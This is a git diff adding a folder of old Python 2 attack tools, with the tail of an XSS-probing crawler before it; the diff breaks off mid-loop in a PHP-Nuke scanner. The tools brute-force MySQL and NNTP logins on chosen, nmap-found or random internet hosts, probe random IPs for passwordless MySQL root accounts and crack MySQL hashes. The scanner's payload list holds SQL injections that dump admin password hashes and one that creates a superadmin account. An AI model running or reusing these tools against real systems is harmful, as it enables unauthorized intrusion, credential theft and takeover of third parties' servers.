+                    #break
+                except:
+                    break
+
+
+            #except TypeError:
+                #pass #Work pls ...
+            #except urllib2.HTTPError:
+                #pass
+            #except ValueError:
+                #pass
+            #except URLError, e:
+                #pass
+            #except IndexError:
+                #pass
+            except:
+                #print "Error link "
+                urls.pop(0)
+                
+                
+
+def xss():
+    
+    doc = open("b3mb4mdata.txt", "r")#Log doc 
+    B3mB4mdata = doc.readlines()
+
+    for i in B3mB4mdata:
+        i = i.replace("\n", "") #Raise2
+        print ""
+        print "TARGET -->  "+i
+        print ""
+
+        xx = i.replace("http://", "")
+        docname2 = xx+".xss"+".txt"
+        logsxss = open(docname2, "w")
+            
+        url = i
+        tarayici = mechanize.Browser()
+        urls = [url]
+        gez = [url]
+
+        while len(urls)>0:
+            try:             
+                tarayici.open(urls[0])
+                urls.pop(0)
+                try:
+                    for link in tarayici.links():
+                        yeniurl =  urlparse.urljoin(link.base_url,link.url)
+                        if yeniurl not in gez and url in yeniurl:
+                            gez.append(yeniurl)
+                            urls.append(yeniurl)
+                            #print yeniurl
+                            
+                            if "=" in yeniurl:
+                                #print yeniurl
+                                try:    
+                                    #print yeniurl
+                                    purelink = yeniurl.split("=")
+                                    xss = purelink[0]+"""='">><marquee><h1>B3mB4m</h1></marquee>"""
+                                    uagent= {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)'}
+                                    req = urllib2.Request(xss, headers=uagent)
+                                    fd = urllib2.urlopen(xss)
+                                    data= fd.read()
+                                    if "B3mB4m" in data:
+                                        print "XSS FOUND! \n-->  "+xss
+                                        logsxss.write("\n\n XSS FOUND --> \n"+xss)
+                                        logsxss.close()
+                                        urls = 0
+                                except:
+                                    pass
+                            else:
+                               pass
+                            
+                #except TypeError:
+                    #pass
+                #except NameError:
+                    #pass
+                #except AttributeError: # MAG�C CODE � just spend 10h lol.
+                    #break
+                except:
+                    break
+
+                                        
+            except:
+                urls.pop(0)
+            
+                                                 
+                                    
+                                                                        
+sqlxss()                                                                   
+xss()                                                  
+                                         
diff --git a/3rdparty/mysql16.py b/3rdparty/mysql16.py
new file mode 100644
index 0000000..81c9b8c
--- /dev/null
+++ b/3rdparty/mysql16.py
@@ -0,0 +1,53 @@
+#!/usr/bin/python
+#MySQL 64bit Hash DB Generator
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import sys
+
+def mysql323(clear): 
+    # Taken almost verbatim from mysql's source 
+    nr = 1345345333 
+    add = 7 
+    nr2 = 0x12345671 
+    retval = "" 
+    for c in clear: 
+	if c == ' ' or c == '\t': 
+	    continue 
+	tmp = ord(c) 
+	nr ^= (((nr & 63) + add) * tmp) + (nr << 8) 
+	nr2 += (nr2 << 8) ^ nr 
+	add += tmp 
+    res1 = nr & ((1 << 31) - 1) 
+    res2 = nr2 & ((1 << 31) - 1) 
+    return "%08lx%08lx" % (res1, res2)
+
+print "\n   d3hydr8[at]gmail[dot]com mysql16 v1.0"
+print "-------------------------------------------"
+
+if len(sys.argv) != 3:
+	print "Usage: ./mysql16.py <wordlist> <output file>\n"
+	sys.exit(1)
+
+db = open(sys.argv[2], "a")
+print "\n[+] Database:",sys.argv[2]
+
+
+try:
+  	words = open(sys.argv[1], "r").readlines()
+  	print "[+] Words Loaded:",len(words),"\n"
+except(IOError): 
+  	print "[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+i = 1
+for word in words:
+	print i,"of",len(words)
+	word = word.replace("\r","").replace("\n","")
+	hash1 = mysql323(word)
+	print word+":"+hash1
+	db.writelines(word+":"+hash1+"\n")
+
+db.close()
+print "\n[+] Database Finished\n"
diff --git a/3rdparty/mysql5crack.py b/3rdparty/mysql5crack.py
new file mode 100644
index 0000000..a9d8e6d
--- /dev/null
+++ b/3rdparty/mysql5crack.py
@@ -0,0 +1,49 @@
+#!/usr/bin/python
+#Attempts to crack MySQL v5 hash using wordlist.
+#http://darkc0de.com/
+#d3hydr8[at]gmail[dot]com 
+
+import sys
+
+def c1(word):
+	s = hashlib.sha1()
+	s.update(word[:-1])
+	s2 = hashlib.sha1()
+	s2.update(s.digest())
+	return s2.hexdigest()
+
+def c2(word):
+	s = sha.new()
+	s.update(word[:-1])
+	s2 = sha.new()
+	s2.update(s.digest())
+	return s2.hexdigest()
+	
+if len(sys.argv) != 3:
+	print "Usage: ./mysql5crack.py <hash> <wordlist>"
+	sys.exit(1)
+	
+pw = sys.argv[1]
+if len(pw) != 40:
+	print "Improper hash length\n"
+  	sys.exit(1)
+try:
+  	words = open(sys.argv[2], "r")
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+words = words.readlines()
+print "\nWords Loaded:",len(words)
+
+try:
+	import hashlib
+	for word in words:
+		if pw == c1(word): 
+			print "\nPassword is:",word
+except(ImportError):
+	import sha
+	for word in words:
+		if pw == c2(word): 
+			print "\nPassword is:",word
+
+
diff --git a/3rdparty/mysql_default.py b/3rdparty/mysql_default.py
new file mode 100644
index 0000000..23f8c45
--- /dev/null
+++ b/3rdparty/mysql_default.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+# No_Password MySQL login scanner.
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import MySQLdb, random, sys
+
+def randip():
+	
+	A = random.randrange(255) + 1
+	B = random.randrange(255) + 1
+	C = random.randrange(255) + 1
+	D = random.randrange(255) + 1
+	ip = "%d.%d.%d.%d" % (A,B,C,D)
+	return ip
+
+def title():
+	print "\n   d3hydr8[at]gmail[dot]com MySQL_default v1.0"
+	print "-------------------------------------------------"
+	
+#Add or subract users here.
+users = ["root","admin","administrator"]
+
+if len(sys.argv) <= 1:
+	title()
+	print "\nUsage: mysql_default.py <how many to scan>\n"
+	sys.exit(0)
+	
+title()
+print "\n[+] Scanning:",sys.argv[1]
+for x in xrange(int(sys.argv[1])):
+	ip = randip()
+	try:
+		for u in users:
+			#print "[+] Connecting:",ip," User:",u
+			db = MySQLdb.connect(user = u, passwd = "", host = ip, connect_timeout=15)
+			print "[+] Connected"
+			print "[+] IP:",ip,"  User:",u
+			print db.get_server_info()
+			print "[+] Connection successful."
+			db.close()
+	except(MySQLdb.OperationalError), msg:
+		#print "[-] Connections Closed"
+		pass
+
+ 
diff --git a/3rdparty/mysqlbrute.py b/3rdparty/mysqlbrute.py
new file mode 100644
index 0000000..27a8863
--- /dev/null
+++ b/3rdparty/mysqlbrute.py
@@ -0,0 +1,85 @@
+#!usr/bin/python
+#MySQL Brute Forcer
+#You need the MySQLdb package found here:
+#http://sourceforge.net/projects/mysql-python
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys
+from copy import copy
+
+try:
+	import MySQLdb
+except(ImportError):
+	print "\nYou need the MySQLdb package found here: http://sourceforge.net/projects/mysql-python\n"
+	sys.exit(1)
+
+if len(sys.argv) !=6:
+	print "Usage: ./mysqlbrute.py <server> <port> <database> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[4], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[5], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Port:",sys.argv[2]
+print "[+] Database:",sys.argv[3]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return value[0][:-1], users[0]
+	else:
+		return value[0][:-1], users[0][:-1]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value, user = getword()
+		try:
+			print "-"*12
+			print "User:",user,"Password:",value
+			db=MySQLdb.connect(host=sys.argv[1],user=user,passwd=value,db=sys.argv[3],port=int(sys.argv[2]))
+			print "\t\nLogin successful:",value, user
+			db.close()
+			work.join()
+			sys.exit(2)
+		except(MySQLdb.Error), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/mysqlbrute_iprange.py b/3rdparty/mysqlbrute_iprange.py
new file mode 100644
index 0000000..d94505f
--- /dev/null
+++ b/3rdparty/mysqlbrute_iprange.py
@@ -0,0 +1,98 @@
+#!usr/bin/python
+#MySQL Brute Forcer, searches ip_range for hosts using MySQL.
+#You need the MySQLdb package found here:
+#http://sourceforge.net/projects/mysql-python
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, re
+from copy import copy
+
+try:
+	import MySQLdb
+except(ImportError):
+	print "\nYou need the MySQLdb package found here: http://sourceforge.net/projects/mysql-python\n"
+	sys.exit(1)
+	
+if len(sys.argv) !=4:
+	print "Usage: ./mysqlbrute_iprange.py <ip_range> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+
+wordlist = copy(words)
+
+def scan():
+
+	iprange = sys.argv[1]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 3306 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	return ip_list
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			db=MySQLdb.connect(host=ip,user=user,passwd=value)
+			print "\t\nLogin successful:",user, value
+			db.close()
+			work.join()
+			sys.exit(2)
+		except(MySQLdb.Error), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+ip_list = scan()
+print "[+] Hosts Loaded:",len(ip_list),"\n"
+for ip in ip_list:
+	print "\n\tAttempting BruteForce:",ip,"\n"
+	for user in users:
+		for i in range(len(words)):
+			if i == 0: reloader()
+			work = Workhorse()
+			work.start()
+			time.sleep(1)
diff --git a/3rdparty/mysqlbrute_random.py b/3rdparty/mysqlbrute_random.py
new file mode 100644
index 0000000..0c9eb3f
--- /dev/null
+++ b/3rdparty/mysqlbrute_random.py
@@ -0,0 +1,91 @@
+#!usr/bin/python
+#Uses nmap to check if MySQL port is open, brute forces if it is.
+#You need the MySQLdb package found here:
+#http://sourceforge.net/projects/mysql-python
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, re
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./mysqlbrute_random.py <how many to scan> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1],"hosts"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def scan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 3306 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:    		
+			return ipaddr
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			db=MySQLdb.connect(host=ipaddr[0],user=user,passwd=value)
+			print "\t\nLogin successful:",user, value
+			db.close()
+			work.join()
+			sys.exit(2)
+		except(MySQLdb.Error), msg: 
+			#print "An error occurred:", msg
+			pass
+
+for x in range(int(sys.argv[1])):
+	print "Scanning:",x,"of",sys.argv[1]
+	ipaddr = scan()
+	if ipaddr != None:
+		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
+		for user in users:
+			for i in range(len(words)):
+				if i == 0: reloader()
+				work = Workhorse()
+				work.start()
+				time.sleep(2)
+
diff --git a/3rdparty/niktolistscan.py b/3rdparty/niktolistscan.py
new file mode 100644
index 0000000..073b273
--- /dev/null
+++ b/3rdparty/niktolistscan.py
@@ -0,0 +1,55 @@
+#!/usr/bin/python
+#This script helps you scan a list of sites with nikto.
+#It will create a file in your output dir for each site in
+#your list with the site name. Put this script in the same 
+#dir as nikto.pl and change your OUTPUT_PATH below.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+
+#Change this first!!!
+#------------------------------------------
+OUTPUT_PATH = "/home/d3hydr8/tools/nikto/output"
+#------------------------------------------
+
+import commands, sys, getopt, StringIO, re, string, os
+				   
+def niktoscan(site):
+	
+	#Change your nikto options here.
+	command = "perl nikto.pl -host "+site+" -Cgidirs all"
+
+	nikout = StringIO.StringIO(commands.getstatusoutput(command)[1]).readlines()
+	print "[+] Writing Lines:",len(nikout)
+	path = os.path.join(OUTPUT_PATH, site+".txt")
+	output = open(path, "a")
+	for line in nikout:
+		output.writelines(line+"\n")
+	output.close()
+
+#................................................
+print "\nd3hydr8[at]gmail[dot]com NikListScan v1.0"
+print "------------------------------------------"
+	
+if len(sys.argv) != 2:
+	print "\nUsage: ./niklistscan.py <site_list>\n"
+	sys.exit(1)
+
+print "\n[+] Creating output folder",OUTPUT_PATH
+try:
+	os.mkdir(OUTPUT_PATH)
+except(OSError):
+	print "[-] Failure creating dir, might already exist."
+	pass
+sites = open(sys.argv[1], "r").readlines()
+print "[+] Sites Loaded:",len(sites),"\n"
+for site in sites:
+	site = site.replace("\n","")
+	print "-"*35
+	print "\n[+] Scanning:",site
+	niktoscan(site.replace("http://",""))
+print "\n[+] Done\n"
+
+				
+		
diff --git a/3rdparty/nntpbrute.py b/3rdparty/nntpbrute.py
new file mode 100644
index 0000000..3a6de94
--- /dev/null
+++ b/3rdparty/nntpbrute.py
@@ -0,0 +1,83 @@
+#!usr/bin/python
+#NNTP Brute Forcer
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, nntplib, socket
+from nntplib import NNTP
+from copy import copy
+
+if len(sys.argv) !=5:
+	print "Usage: ./nntpbrute.py <server> <port> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[4], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+try:
+	n = nntplib.NNTP(sys.argv[1],int(sys.argv[2]))
+	print "[+] Response:",n.getwelcome(),"\n"
+	n.quit()
+except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):
+	pass
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return value[0][:-1], users[0]
+	else:
+		return value[0][:-1], users[0][:-1]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value, user = getword()
+		try:
+			print "-"*12
+			print "User:",user,"Password:",value
+			n = nntplib.NNTP(sys.argv[1],int(sys.argv[2]),user,value)
+			print "\t\nLogin successful:",value, user
+			n.quit()
+			work.join()
+			sys.exit(2)
+		except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: 
+			print "An error occurred:", msg
+			pass
+ 
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/nntpbrute_iprange.py b/3rdparty/nntpbrute_iprange.py
new file mode 100644
index 0000000..e0d0d5a
--- /dev/null
+++ b/3rdparty/nntpbrute_iprange.py
@@ -0,0 +1,96 @@
+#!usr/bin/python
+#NNTP Brute Forcer, searches ip_range for hosts using nntp.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, nntplib, re, socket
+from nntplib import NNTP
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+
+wordlist = copy(words)
+
+def scan():
+
+	iprange = sys.argv[1]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 119 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	return ip_list
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			n = nntplib.NNTP(ip,119,user,value)
+			print "\t\nLogin successful:",user, value
+			n.quit()
+			work.join()
+			sys.exit(2)
+		except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: 
+			print "An error occurred:", msg
+			pass
+ 
+ip_list = scan()
+print "[+] Hosts Loaded:",len(ip_list),"\n"
+for ip in ip_list:
+	print "\n\tAttempting BruteForce:",ip,"\n"
+	try:
+		n = nntplib.NNTP(ip,119)
+		print "[+] Response:",n.getwelcome(),"\n"
+		n.quit()
+	except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):
+		pass
+	for user in users:
+		for i in range(len(words)):
+			if i == 0: reloader()
+			work = Workhorse()
+			work.start()
+			time.sleep(1)
diff --git a/3rdparty/nntpbrute_random.py b/3rdparty/nntpbrute_random.py
new file mode 100644
index 0000000..f1bb183
--- /dev/null
+++ b/3rdparty/nntpbrute_random.py
@@ -0,0 +1,95 @@
+#!usr/bin/python
+#Uses nmap to check if NNTP port is open, brute forces if it is.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, nntplib, re, socket
+from nntplib import NNTP
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./nntpbrute.py <how many to scan> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1],"hosts"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def scan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 119 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:    		
+			return ipaddr
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			n = nntplib.NNTP(ipaddr[0],119,user,value)
+			print "\t\nLogin successful:",user, value
+			n.quit()
+			work.join()
+			sys.exit(2)
+		except (nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: 
+			#print "An error occurred:", msg
+			pass
+
+for x in range(int(sys.argv[1])):
+	print "Scanning:",x,"of",sys.argv[1]
+	ipaddr = scan()
+	if ipaddr != None:
+		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
+		try:
+			n = nntplib.NNTP(ipaddr[0],119)
+			print "[+] Response:",n.getwelcome(),"\n"
+			n.quit()
+		except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):
+			pass
+		for user in users:
+			for i in range(len(words)):
+				if i == 0: reloader()
+				work = Workhorse()
+				work.start()
+				time.sleep(2)
+
diff --git a/3rdparty/nukescan.py b/3rdparty/nukescan.py
new file mode 100644
index 0000000..f891068
--- /dev/null
+++ b/3rdparty/nukescan.py
@@ -0,0 +1,75 @@
+#!usr/bin/python
+#Scans vulns in php-nuke and searches for md5
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, urllib2, socket
+
+print "\n\t   d3hydr8[at]gmail[dot]com NukeScan v1.0"
+print "\t--------------------------------------------"
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./nukescan.py <php-nuke path>"
+	print "Ex: ./nukescan.py www.test.com/phpnuke/\n"
+	sys.exit(1)
+
+paths = ["modules.php?name=Downloads&d_op=viewdownload&cid=59%20or%20cid=2",
+		"modules.php?name=Reviews&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/",
+		"modules.php?name=Sections&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors",
+		"modules.php?name=Sections&op=printpage&artid=-1%20UNION%20SELECT%20aid,pwd%20FROM%20nuke_authors",
+		"modules.php?name=Sections&op=listarticles&secid=-1%20UNION%20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/",
+		"modules.php?name=Sections&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors",
+		"modules.php?name=Downloads&d_op=viewdownloadeditorial&lid=-1%20UNION%20SELECT%20username,1,user_password,user_id%20FROM%20nuke_users",
+		"modules.php?name=Downloads&d_op=viewdownloadcomments&lid=-1%20UNION%20SELECT%20username,user_id,user_password,1%20FROM%20nuke_users/",
+		"modules.php?name=Sections&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors",
+		"modules.php?name=Journal&file=search&bywhat=aid&exact=1&forwhat=kala",
+		"index.php?&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox",
+		"modules.php?name=Journal&file=search&bywhat=aid&exact=1&forwhat=kala'/**/UNION/**/SELECT/**/0,0,pwd,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*",
+		"admin.php?op=AddAuthor&add_aid=x0p0x&add_name=God&add_pwd=cool&add_email=bugs@victima&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox",
+		"modules.php?name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/",
+		"modules.php?name=Web_Links&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2",
+		"modules.php?name=Web_Links&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2",
+		"modules.php?name=Web_Links&l_op=viewlink&cid=0%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors",
+		"modules.php?name=Downloads&d_op=getit&lid=-1%20UNION%20SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5",
+		"modules.php?name=Web_Links&l_op=viewlinkeditorial&lid=-1%20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors",
+		"modules.php?op=modload&name=books&file=index&req=view_cat&cid=-90900%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/char(111,112,101,114,110,97,108,101,51),concat(pn_uname,0x3a,pn_pass)+from%2F%2A%2A%2Fnuke_users/*where%20admin%201=%201",
+		"modules.php?op=modload&name=books&file=index&req=view_cat&cid=-90900%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/char(121,122,111,104,110,97,112,101,54),concat(pn_uname,0x3a,pn_pass)+from%2F%2A%2A%2FpostNuke_users/*where%20admin%201=%201",
+		"modules.php?name=Sections&op=viewarticle&artid=-9999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2",
+		"modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*",
+		"modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*","modules.php?name=Okul&op=okullar&okulid=-1/**/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*",
+		"modules.php?name=Docum&op=viewarticle&artid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2",
+		"modules.php?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/aid,2/**/from/**/nuke_authors/*where%20admin%20-2",
+		"modules.php?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2",
+		"modules.php?name=Manuales&d_op=viewdownload&cid=1/**/union/**/select/**/0,aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*",
+		"modules.php?name=Siir&op=print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202",
+		"modules.php?name=NukeC&op=ViewCatg&id_catg=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2",
+		"modules.php?name=Kose_Yazilari&op=viewarticle&artid=-11223344%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,aid,pwd,4,5%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors",
+		"modules.php?name=Kose_Yazilari&op=printpage&artid=-99999999%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F0,pwd,aid,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors",
+		"modules.php?op=modload&name=My_eGallery&file=index&do=showgall&gid=-1/**/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*"]
+		
+socket.setdefaulttimeout(10)
+host = sys.argv[1]
+print "[+] NukePath:",host
+print "[+] Vuln. Loaded:",len(paths)
+if host[:7] != "http://":
+	host = "http://"+host
+if host[-1:] != "/":
+	host = host+"/"
+print "[+] Testing..."
+for path in paths:
+	try:
